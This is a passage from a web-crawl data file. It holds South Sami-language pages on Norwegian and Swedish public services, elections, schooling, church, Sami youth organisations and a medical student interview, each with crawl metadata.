maanagïertide\nÅajvahkommes dle skuvle-jallh maanagïerteaajhtere jïh tjïelth mah reaktam utnieh byögkeles beetnehdåarjoem åadtjodh. Fylhkenålman laavenjassh leah gïehtjedæmman, klååkemasse jïh tjïrrehtæmman dagkarijstie beetnehdåarjojste ektiedamme.","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/www.statsforvalteren.no\/sma\/Troondelagen\/Maanagierte-jih-lierehtimmie\/","date":"2021-04-18T02:02:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038464146.56\/warc\/CC-MAIN-20210418013444-20210418043444-00477.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":56,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":129,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh ohtsedibie:\nGïeleviehkie\nMijjieh sïjhtebe daejredh maam åarjelsaemien noerh daarpesjieh juktie sijjen skraejriem lissiehtidh åarjelsaemien nuhtjedh.\nJis datne lih Saemiedigkiepresidente –\nmaam datne lih sïjhteme åarjelsaemien åvteste darjodh?\nMijjieh eadtjohke jïh kreatijve noerh ohtsedeminie mah maehtieh mijjem viehkiehtidh tjåanghkoesijjieh öörnedidh jïh åarjelsaemien eevtjedh jïh våajnoes darjodh EN:n gaskenasjonaale aalkoealmetjegïelejaepien 2019.\nDatne noere gaskem 16-25 jaepieh jïh dov lea joekoen stoerre ïedtje maam akt åarjelsaemien gïelen åvteste darjodh? Dellie datne dïhte maam ohtsedibie! Mijjieh jeenjemes njieljie stipendh 50 000,- kråvnine vedtebe noeride mah veeljesuvvieh gïeleviehkine sjïdtedh, jis tjirkieh dah sijhtieh viehkine årrodh prosjektesne. Seedth ohtsemem dennie hammosne jïjtje sïjhth; videove jallh tjaaleldh ohtseme gusnie jïjtjemdh åehpiedahtah jïh ånnetji soptsesth man åvteste dov lea skraejrie syökedh.\nJis vielie bïevnesh sïjhth, soptsesth prosjekten åvtehkinie Katarina Blind [email protected]\njallh ektievoeten åvtehke Inger Marit Eira- Åhrén, tell. 926 38 758.\nOhtsememierie njoktjen 25. b. 2019","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/gielemnastedh.no\/2019\/03\/gieleviehkie\/","date":"2021-05-12T18:13:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243989766.27\/warc\/CC-MAIN-20210512162538-20210512192538-00323.warc.gz","language":"sma","language_score":1.0000036955,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 1.000003695487976}","num_words":131,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien båaloebuertien hammoeh\nSaemien boktsaavh leah naemhtie mïerhkesjamme orange duekie. Dah båaloeh gusnie saemien bokstaavh, dejtie aaj daej båaloejgujmie jaksh AltGr: diedtieh AltGr + dam saemien bokstaavem jis sïjhth åadtjodh dam bokstaavem, mij lea daelie sjïere båaloem åådtjeme.\nVuesiehtæmman: Gosse daaroen Ø, diedtieh dellie AltGr + Ö.\nGaajhkh dah jeatjah bokstaavh jïh væhtah leah seamma sijjesne goh daaroen båaloebuertesne.\nÅarjelsaemien, Nöörje (Windows)\nÅarjelsaemien, Nöörje (macOS)\nÅarjelsaemien, Sveerje (Windows & macOS)","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/divvun.no\/sma\/keyboards\/layout-sma.html","date":"2021-05-13T21:20:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243992514.37\/warc\/CC-MAIN-20210513204127-20210513234127-00572.warc.gz","language":"sma","language_score":1.0000014305,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000014305114746}","num_words":67,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.121,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Published: 11 March 2020\nVeeljemeilledahke\nAnnjebodts veeljemeilledahke\nMænngan tjaatsestimmie orriji veeljemebiejjien tjaatsestimmie-dåastojh veeljemelihtieh rïhpestieh jïh dah tjaatsegh voestes aejkien ryöknoeh jïh illedahkem Veeljemeåejvieladtjese reektehte.\nGosse gaajhkh tjaatsestimmieh gaervies ryökneme jïh veeljemesijjieh leah illedahkide reektehtamme Veeljemereereme dorje annjebodts mandaatejoekedimmiem.\nMinngemosth veeljemeilledahke\nLeeneståvroeh dan mænngan gaajhkh tjaatsestimmieh mubpien aejkien ryöknoeh. Dellie aaj gaajhkh kandidaati persovne-tjaatsestimmieh reektehtidh.\nVeeljeminie rïjhkebeajjan, tjïeltese jïh laantedægkan dellie rïjhkebiejjieveeljemem voestegh ryöknoe. Dan mænngan tjaatsestimmieh veeljemidie tjïeltereeremasse jïh minngemes tjaatsestimmieh laantedigkiereeremasse.\nIlledahkide reektehte Veeljemeåejvieladtjen webbsijjesne.\nDïhte minngemes illedahke veeljemisnie rïjhkebeajjan jïh Europa-parlameentese vihtiestidh medtie våhkoe veeljemebiejjien mænngan.\nGaajhkh illedahkh veeljeminie tjïelte- jïh laantedigkiereeremidie pruvhkieh vihtiestamme medtie 14 biejjieh veeljemebiejjien mænngan.\nVeeljemeilledahkh bæjhkoehtieh www.val.se Daesnie gååvnesieh dovne daaletjen jïh dovletjen lïhtsegi nommh sjïere mandaateboelhkine.","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/veeljemeoornege\/veeljemeilledahke.html","date":"2021-05-08T03:58:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243988837.67\/warc\/CC-MAIN-20210508031423-20210508061423-00635.warc.gz","language":"sma","language_score":0.9999901056,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 0.9999901056289673}","num_words":111,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.111,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Översatt av Storjamten och fjällmannen Ando \"Blåtand\" Andersson den 15 januari 2001.\nWebbifierat av\nfirstname.lastname@example.org\nden 21 januari 2001\nÅaerjelsaemien\nJamtamot\nlea akte dejstie båeriesommse studenttjåangkijstie Upsalesne jih båerest\nNoerhte Laanten sijjene\n. Tjåangkene aelkeji 1907, badt minngelth akten nåake tijjen sjidteji viht orre nubpien aasgem 1915 man nomme Jamtamot Redivivum. Jamtamot utneji goh guviem ahte lustem darjedh sinsitnien sov almetjidie mah daalvejin sov laantsijjistie\nJiemtlaante jih Haerjevuemie\n. Tjåangkene sijhteji aaj stoerrebe mujhtetjem gah sjidtedh daj jijtse veasoe bijre.","id":"","dump":"CC-MAIN-2021-21","url":"http:\/\/jamtamot.org\/verksamhet\/kortfattat-om-jamtamot\/koj.samiska.syd.html","date":"2021-05-08T12:56:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243988882.7\/warc\/CC-MAIN-20210508121446-20210508151446-00582.warc.gz","language":"sma","language_score":0.9988185167,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9988185167312622}","num_words":72,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Demokratije jïh meatanårrojevoete goh dåaresthfaageles teema edtja learoehkidie maahtoem vedtedh demokratijen tsiehkiej, vierhtiej jïh spïelenjoelkedassi bïjre, jïh dejtie ryöjredidh demokratihkeles prosessine meatan årrodh. Lïerehtimmie edtja learoehkidie goerkesem vedtedh ektievoetem demokratijen jïh jarnges almetjereaktaj gaskem goh soptsestimmiereakta, steemmemereakta jïh organisasjovnefrïjjevoete. Dah edtjieh vuejnedh demokratije ovmessie hammoeh jïh vuesiehtimmieh åtna.\nBarkoen tjïrrh teemine demokratije jïh meatanårrojevoete edtja learohkh ektievoetem guarkedh indivijden reaktaj jïh dïedten gaskem. Indivijdh reaktam utnieh meatan årrodh politihken barkosne seamma aejkien goh siebriedahke jearohks årrojh dej reaktide utnedh meatan årrodh politihkesne jïh sivijle siebriedahkem hammoedidh. Skuvle edtja learoehkidie skreejredh eadtjohke årroejidie sjïdtedh, jïh dejtie maahtoem vedtedh meatan årrodh jïh demokratijem Nöörjesne evtiedidh.\nLïerehtimmie edtja learoehkidie maahtoem jïh maehtelesvoetem vedtedh haestemh dåastoehtidh demokratijen prinsihpi mietie. Dah edtjieh dåeriesmoerh guarkedh mah leah jååhkesjidh dovne gellielåhkoen reakta jïh unnebelåhkoen reaktah. Dah edtjieh haarjanidh dej maehtelesvoetem laejhtehks ussjedidh, lïeredh tsælloeh jïh digkiedimmieh gïetedidh jïh krööhkestidh jis ovsïemes. Barkoen tjïrrh teemine edtjieh learohkh lïeredh man gaavhtan tjoerebe demokratijem vaarjelidh, jïh daam tjoerebe evtiedidh jïh geehtedh.","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/prinsipper-for-laring-utvikling-og-danning\/tverrfaglige-temaer\/demokrati-og-medborgerskap\/?lang=sma","date":"2021-05-11T10:03:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243991982.8\/warc\/CC-MAIN-20210511092245-20210511122245-00380.warc.gz","language":"sma","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":252,"top_langs":"{\"sma_Latn_score\": 1.0000090599060059}","num_words":161,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Besök 1177.se, logga in för personliga e-tjänster eller ring 1177 för sjukvårdsrådgivning.\nDatne maahtah depresjovnem åådtjeme jis guhkiem hujnesne. Gosse datne deprimeredh ih læstoem utnedh maam akt darjodh. Ij gan maam sïejhme provhkh lyjhkedh darjodh. Ohtsedh hoksem jis vïenhth depresjovnem åtnah. Jeenjemesh buaranieh joe naan våhkoej båehtjierdimmesne.\nAsve lea stråarkan jallh asvedimmie mah kråahpesne damth. Dïhte lea nåake men ij leah vaahreles asvesne. Gååvnesieh gellie darjomh mah jïjtje maahtah darjodh guktie buerebe domtedh. Gååvnese aaj båehtjierdimmie viehkine.","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/www.1177.se\/sma-se\/Vasterbotten\/other-languages\/other-languages\/ma-daligt---andra-sprak\/","date":"2021-05-18T17:45:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243991288.0\/warc\/CC-MAIN-20210518160705-20210518190705-00517.warc.gz","language":"sma","language_score":1.0000041723,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"sma_Latn_score\": 1.0000041723251343}","num_words":76,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sáminuorra tseegkesovvi jaepien 1963 jïh aadtjen 50 jaepieh illi. Aalkovistie organisasjovne lij Svenska Samernas Riksförbund´n noeresiebrie, bene 80-taalen männgan Sáminuorra jïjtse organisasjovne. Sáminuorra gellie låhkoejaepieh jïjtse plaeriem åtneme, Nuorat, mij daelie aaj jïjtsestuvremem åtna.\nSáminuorra iktegisth faamojes gïele saemien siebriedahkesne orreme jïh gellie byögkeles almetjh ståvrosne barkeme. Sáminuorra aaj Saemiedigkiem eadtjalgehti noereraeriem tseegkedh jïh daanbien siebrie göökte sijjieh vïjhte sijjijste åtna dan sisnie. Jalhts siebrien barkoevuekieh jïh gellie tsiehkieh jeatjahlaakan sjïdteme daejnie minngemes 50 jaepieh seamma maadtoe-ulmiem utnebe: saemien noerh organisasjovnem evtede gaajhkide saemide.","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/www.saminuorra.org\/saminuorran-histovrije\/","date":"2021-05-14T18:37:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243991207.44\/warc\/CC-MAIN-20210514183414-20210514213414-00451.warc.gz","language":"sma","language_score":0.9999142885,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"sma_Latn_score\": 0.999914288520813}","num_words":81,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dïsse gie ovnohkens maahta ammes domtedh. Gïele maahta klåahkan årrodh jïh jiehtieh jïh darjoeh aath mah eah leah gåvva guarkedh. Aejlegen åejviegyrhkesjimmien öörnegem Psalmegærjan minngiebieline gaavnh . Iktegisth aaj maahtah gihtjedh. Buerie båeteme!\nAalkoste dah kristegassjh gyrhkesjæmman tjåanghkenin. Eah aalkoste man gallesh lin. Muvhth dajvine dejtie dej jaahkoste dåålvedin. Daarpesjin gaavnedidh jïh dejtie soptsesidie Jesusen bïjre goltelidh, govledh guktie Jesusen jielemem jïh jaememem jïh tjuedtjielimmiem buerkiestin. Dan gyrhkesjimmien hammoem sijjen båeries judaj jaahkoste eerpin. Boelhke tekstelohkeminie synagogeste damtijin.\nMaalestahke vihkeles\nJoe aareh kristeles histovrijisnie dïhte maalestahke ektievoetesne vihkeles boelhke sjïdti. Dïhte lij gieriesvoeten maalestahke gosse beapmojste joekedin. Destie dïhte maalestahke vuekine evtiedi gosse learohki minngemes maalestahkem Jesusen ektine ieriedin. Voejhkelin goerkesidh Jesuse jaameme jïh tjuedtjielamme. Dam maalestahkem, aejlies maalestahke, gellien aejkien gaajhki kristegassji gærhkojne annje heevehtieh.\nKristeles gyrhkesjimmie\nAktem kristeles gyrhkesjimmiem maahta gellie vuekiej mietie juhtiehtidh, badth iktegisth Jupmelem laavlominie heevehte, bijpelistie tekstelohkeme jïh rohkelimmie.\nGyrhkesjimmie gaajhkh åålmegisnie\nSvïenske gærhkoen åålmegisnie sån fïerhten aejlegen gyrhkesjimmiem heevehte. Badth gellien aejkien jeatjah biejjieh våhkosne aaj. Plaerine våhkoen gyrhkesjimmide gaavnh jïh mij gyrhkesjimmide muvhth gærhkojne heevehtieh dov årromesijjesne. Gellien aejkien byjreske-plaerine bievnieh, badth gellie åålmegh aaj webb-bieline gaavnh.\nGaajhkesidie gaahpan\nGaajhkesh dovnesh åajva guessine gærhkose båetedh: båeries jïh noerh, dah gïeh jaehkieh jïh dah gïeh eah jaehkieh. Gyrhkesjimmesne viehkiem åadtjoejibie mijjen jielemem goerkesidh jïh Jupmelem gaavnedidh. Gyrhkesjimmie aaj akte væhta jïh vïhnestimmie gærhkoen jaahkoen bïjre jïh lïhkesvoete sïebredahkesne.","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/www.svenskakyrkan.se\/gyrhkesjimmie-gaajhkesidie-gaahpan","date":"2021-05-16T00:08:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243991488.53\/warc\/CC-MAIN-20210515223209-20210516013209-00500.warc.gz","language":"sma","language_score":1.0000036955,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"sma_Latn_score\": 1.000003695487976}","num_words":224,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mahte gaajhkh upmejenåålmegh leah tjïelten tjaetsievierhkem meatan. Vakin (tjïelten bolage) dah tjïelten tjaetsievierhkh jåhta jïh tjïelte tjaetsiem vååksje programmij mearan jïh krinsevierhtieh buerie tjaetsiekvalijtehtem årroeh. Tjaetsie tjaetsievierhkijste ij ajve jovkemidie jïh beapmoejurjiehtimmide utnieh — seamma tjaetsie maam lihtieh jïh vaarjoeh bissedh jïh ohtjegåetide utnieh. Forslunda, mij dïhte stööremes tjaetsievierhke, destie båata medtie 90 procenth tjïelten daarpoeh jovkemetjaetseste. Tjaetsie mij Forslundeste båata lea dan buerie kvalijtete. Jovkemetjaetsie båata våarometjaetseste maam aelhkies gietedimmien tjïrrh jåhta ruevtieh destie vaalta jïh pH-vierhtem bijjede. Tjaetsesne dan vaenie bakterijh juktie ij daarpesjh dïsse klorem biejedh.\nVoenesne jïh eejehtsdajvine tjaetsie sjïere prutneste båata jallh jis jeenebh gåetieh seamma prutneste.\nMaahta aaj buerie daejredh tjaetsiem lea myövhkes, jïh destie båata ij daarpesjh jeenjebe bisseme- jallh sjyökememiedtelh biejedh goh vueliehkommes åesiem maam pahkesne tjåådtje. Byjresken åvteste ij edtjh jeenjebe biejedh juktie jeenjebem johkide, jeanojde jïh jaevride båata.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.umea.se\/kommunochpolitik\/languages\/samiengiallije\/siebredahkehoksetimmieh\/jovkemetjaetsie.4.333c64e217718860a231229.html","date":"2021-06-16T23:47:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487626122.27\/warc\/CC-MAIN-20210616220531-20210617010531-00228.warc.gz","language":"sma","language_score":0.9999918938,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999918937683105}","num_words":136,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov nomme Vibeke Persen jïh manne 21 jaepien båeries. Manne voenesne byjjenamme man nomme Holmesund Deatnusne. Eatnemen lïhke årrodh lea joekoen vihkeles orreme mov tråjjen gaavhtan, juktie lyjhkem jïjnjem ålkone årrodh, dovne vaarremegaamegigujmie jïh treavkajgujmie. Manne eadtjohke fuelhkeste båatam, guktie gaarsjelimmie iktesth stoerre bieline orreme mov aarkebiejjeste.\nManne maanagïertesne jïh maadthskuvlesne vaadtseme noerhtesaemien voestesgïeline sijjesne Tana bru. Jåarhkeskuvlem veedtsim Lillehammerisnie, Nöörjen Toppidrettsgymnasesne, tjoejkemelinjesne. Dan mænngan pedagogihkem lohkim aktem jaepiem Innlandet Jïlleskuvlesne. Njieljie jaepiej mænngan jeatjah kultuvrine manne saemien kultuvrem jïh hïejmesijjiem ohtselim. Manne eelkim faagelohkehtæjjine barkedh Tana Bru maadthskuvlesne, jïh joekoen jïjnjem barkosne lïerim.\nManne dovne garmeresvoetem jïh lujjiesvoetem damtem gosse åadtjoem tsïegline årrodh. Manne tjarke aavodem saemien kultuvren bïjre bievnedh, kultuvren sisvegen bïjre bïevnedh jïh gellie orre almetjh råakedh. Mov leah stoerre veanhtadimmieh daan jaapan, jïh vïenhtem manne sïjhtem jïjnjem lïeredh, haestemh jïh jïjnjem lustem åadtjodh!\nSåemies varke saetniesvoeth\nMïsse jeenjemes aavodh daan tsïeglejaepien?\nManne jeenjemes aavodem gyhtjelassh vaestiedidh jïh almetjigujmie soptsestidh. Gihtjede amma gaajhkem maam måjhtajidie jïh dellie edtjem vaestiedidh dan hijven maahtam, ij naan gyhtjelassh leah jabjoen!\nMaam tuhtjh vihkielommes Nöörjen noerh saemiej bïjre daejrieh?\nJoekoen geerve ajve aktem aatem neebnedh, tuhtjem Nöörjen noerh byöroeh dan jïjnjem daejredh. Sïjhtem mån jiehtedh mijjieh aaj sïejhme noerh mah seapan dejtie seamma aatide lyjhkoeh goh nöörjen noerh, goh TV-raajroeh, gaarsjelimmie jïh voelpigujmie årrodh.\nBööremes raerie juktie jïengem tsööpkedh?\nPryövem lustesvoetem nuhtjedh jïh maam akt luste soptsestidh, maaje jïjtjene bïjre, jïjtjeironijine. Soptsestimmie maaje aelhkebe sjædta jis jïjtjedh nuhtjh. Mejtie mannine jallh manneste föörhkedh lea ånnetji debpelen dohkoe, dah amma föörhkedieh.\nMaam 10 jaepine darjoeh?\nManne joekoen haarra, jïh soejkesjem maaje ajve aktem jaepieboelhkem fïerhten aejkien, guktie jïjtje aaj joekoen gieltege. Manne mån ööhpehtimmiem illeme, seapan lohkehtæjjaööhpehtimmiem. Jïh manne dagke aktene sijjesne årroem Finnmarhkesne gusnie eatneme eevre mov oksen ålkolen.\nMaam saemien åahpetjidie datne buaresjh?\nManne gutnem dejtie mah tjarke barkeminie saemien våajnoes darjodh. Mejtie lea musihken, håalomi jallh tjeahpoen tjïrrh, manne dam gutnem.\nBööremes tv-raajroe(h)?\nManne gaajhkem vuartesjem, goh dokumentaarh jïh reality-raajroeh. Minngemes tïjjem leam jïjnjem raajrojde Tollerne jïh Blålys vuartasjamme TV2:sne, men iktesth bååstede båatam Friends-raajrose.\nGie dov saemien åvteguvvie jïh man åvteste?\nAilu Valle, Isák, Felgen Orkester jïh SlinCraze. Gosse saemien festivaaline jïh roadtripsine mov voelpigujmie ektine mïnnem, manne aalkeme gaajhkesåarhts saemien musihkem lyjhkedh. Manne artisth lyjhkem mah orrelaakan ussjedieh jïh hijven musihkem saemiengïelesne sjugniedieh. Manne gellie orre baakoeh jïh baakoetjïerth dejstie lïerem. Naakenh dejstie artistijste leah Ailu Valle, Isák, Felgen Orkester jïh SlinCraze.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/vibeke-persen-4\/","date":"2021-06-17T20:45:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487633444.37\/warc\/CC-MAIN-20210617192319-20210617222319-00353.warc.gz","language":"sma","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 1.0000053644180298}","num_words":393,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaerviesvoete\nJuktie maehtedh aehpieh gïetedidh dle tjoerebe soejkesjh utnedh aehpiegïetedæmman, jïh tjuara haarjanimmieh tjïrrehtidh daej soejkesji mietie. Gaajhkh aktöörh staaten, regijovnale jïh voenges daltesisnie dïedtem dan åvteste utnieh.\nFylhkenålma lea uvtemes akte lïhtese staaten jïh voenges åejvieladtji gaskem, jïh maahta vuesiehtimmien gaavhtan haarjanimmieh öörnedidh gusnie Fylhkenålma jïh jeatjah staateles åårganh tjïelti, jielemeaktööri jallh siebriej vööste haarjanieh. Dam maaje dorje fylhkengaerviesvoeteraerien tjïrrh, gusnie voernges byögkeles gaerviesvoeteaktöörh, jïh jïjtjevyljehke jïh privaate siebrieh.\nGaerviesvoete akte vihkeles bielie siebriedahkesoejkesjimmeste\nAkte jeatjah vihkeles laavenjasse Fylhkenålmese lea gïehtjedidh gaerviesvoete krööhkesåvva siebriedahkesoejkesjimmesne, jïh tjïelteh jïjtsh aehpiesoejkesjh utnieh.\nFylhkenålma edtja dam regiovnale atovmegaerviesvoetem iktedidh jïh viehkiehtidh guktie regijovnale jïh voeneges etaath soejkesjh evtiedieh, juktie buektiehtidh aktem atovmeovlæhkoem gïetedidh. Daesnie Statens strålevern mij lea faageetaate.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.statsforvalteren.no\/sma\/portal\/Siebriedahkejearsoesvoete-jih-gaerviesvoete\/Gaerviesvoete\/","date":"2021-06-22T19:12:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623488519735.70\/warc\/CC-MAIN-20210622190124-20210622220124-00457.warc.gz","language":"sma","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"sma_Latn_score\": 1.0000076293945312}","num_words":116,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.118,"stopwords_ratio":0.138,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jonill Margrethe Fjellheim Knapp (24) lea aadtjen njealjedem jaepiem medisijnestudijisnie Romsesne illeme. Daelie praksisejaepie jïh ånnetji ånnetji stuerebe dïedtem skïemtjiji åvteste vuertieminie don saemien medisijnestudeentese.\nLes saken på norsk her.\nÅarjelsaemien gïelese: Ellen Bull Jonassen\nJonill gaskoeh bïssemisnie tjåådtje juhtemen åvtelen gosse dejnie soptsestibie. Njieljie jaepieh universiteetesne Romsesne leah varke jåhteme, tuhtjie. Altese domtesh dohkh diekie svihtjieh gosse edtja sov gåetieluhpiem jïh studeentejieledem laehpedh.\nEdtja maaje studeentine årrodh göökte vielie jaepieh, men ij seammalaakan. Praksise jïh dïhte mij gohtjesåvva Finnmarhkepaahke vuertieminie.\n– Damtem manne jïjnjem sjïdteme ajve minngemes jaepien. Goh voestesjaepien studeente geajnoe joekoen guhkies domti, men daelie gaajhkem tjïelkebelaakan vuajnam. Nossemespïelem gaervies sjïdteminie, Jonill jeahta.\nFinnmarhkepaahke\nVoestegh edtja gåatan Totenen gåajkoe giesieeejehtallemasse. Dan ellen voestes jaepien gelline jaepine ij edtjh giesiebarkoem utnedh.\nMen ij skuvlegærjide eevre svïegkesasse bïejh daan giesien. Mïetsken hov itjmie aalka.\nDïhte sæjhta ryöjreldihkie årrodh.\nBåetijen jaepien Jonill edtja skïemtjegåetiepraksisem utnedh Hammerfestesne, voestegh gaektsie våhkoeh kirurgiske goevtesisnie jïh don mænngan gaektsie våhkoeh sisnjeldsmedisijnen goevtesisnie.\nAbpe vïjhtede jaepie lea praksisejaepie.\nEdtja aaj praksisem utnedh psykiatrijen goevtesisnie Altesne jïh sïejhmemedisijnesne Karasjohkesne.\n– Praare lïeremetsavtse sjædta skuvlegærjide laehpedh jïh aelkedh skïemtjijh båehtjierdidh, men manne badth dïsse aavodem, jeahta.\nLohkh aaj: Samiske veivisere: – Et spennende år\nStudeenth mah eah Finnmarhkepaahkem jallh plearoeh modellh veeljh, edtjieh bååstede Romsese jïh govhteden jïh minngemes jaepiem vaedtsedh medisijnestudijisnie.\nJonill edtja Hammerfestesne, Altesne jïh Karasjohkesne årrodh doh göökte minngemes jaepieh.\nRiejries haestiemidie\nJonill jïh altese meatanstudeenth leah joekehts praksisem åtneme doh njieljie voestes jaepieh, men daelie tjuerieh riejries årrodh jienebh laavenjassh jïh stuerebe dïedtem haalvedh.\n– Daate sån dovne lïerije jïh nuhteligs jïh mavvas sjædta, men manne riejries haestemem vaeltedh. Ibie dan jeenjesh mah praksisem Finnmarhkesne vaeltieh, guktie mijjieh mån lïhke dåarjoem åadtjobe.\nFinnmarhkesne medisijnestudeenth vierhtine vuajnalgieh, dan åvteste ahkedh jienebh healsoebarkijh maehtieh fååtesidh dan guhkebe noerhtese båata.\nDaate akte dejstie fåantojste man åvteste Jonill Finnmarhkepaahkem veelji.\nLissine saemien kultuvrem vielie jarngesne åtna ööhpehtimmesne.\n– Mijjieh dïedtem åadtjobe jïjtsh skïemtjiji åvteste, jïh edtjebe goerehtimmieh jïjtjh darjodh, men hævvi aktem dåakterem iktesth utnebe mij mijjem bïhkede, jïh aaj dam bijjemes dïedtem åtna, jeahta.\nIj gåessie gih pradtjeme minngiemodtji nelnie\nMubpien gïjrese Jonill edtja aaj maasterem deelledh. Dïhte edtja mentaale healsoen bïjre vælnjoeh saemien noeri luvnie tjaeledh. Tuhtjie vihkele vielie dotkedh saemien healsoen bïjre.\n– Gegkestem manne buektehtem dam guhkiem mierien åvtelen deelledh, guktie maahtam praksisem vielie jarngesne utnedh.\n– Man jïjnjem tïjjem nuhtjh studijidie?\n– Eevre mænngan eelkim leam jïebnelaakan jïh eadtjohkelaakan barkeme. Manne naakeni bïjre daajram mah jaabnan tjuerieh pradtjedh, men im leah daarpesjamme dam darjodh. Men hævvi, maahta guhkies biejjieh sjïdtedh.\nMen ij læjhkan damth satne lea jïjnjem dasseme mearan studeentine orreme. Vihkele mubpiejgujmie årrodh jïh healsoem gorredidh, naakede maam hokseme darjodh studeentetïjjen.\n– Romsesne akte stoerre saemien byjrese. Dïhte lij vihkele munnjien gosse diekie ohtsim. Manne joekoen hijvenlaakan daesnie tråjjadamme, jeahta.\nSaemien vierhtie\nJonill lea byjjenamme Totenisnie bielelen naan saemien byjrese sov bïjre, bielelen fuelhkie. Dan åvteste stoerre veanhtadimmieh utni don saemien studeentebyjresasse Romsesne.\nAltese studeentedåehkesne aaj jienebh saemien maadtojne. Jïjtje sïjse bööti goh akte ållesth göökte studeentijste saemien kvotan tjïrrh.\nLohkh aaj: Ailin Danielsen – Nyhetsankeret\nDaate öörnege edtja hoksedh nuekie dåakterh saemien maadtojne jïh maahtojne ööhpehtimmiem vaeltieh.\n– Sjïere dïedtem damth goh saemiengïeleldh?\n– Manne ånnetji numhtie ussjedamme jïh damteme. Dennie aktene bielesne sæjhta vierhtine årrodh saemien seabradahkese, men mubpene bielesne tjuara 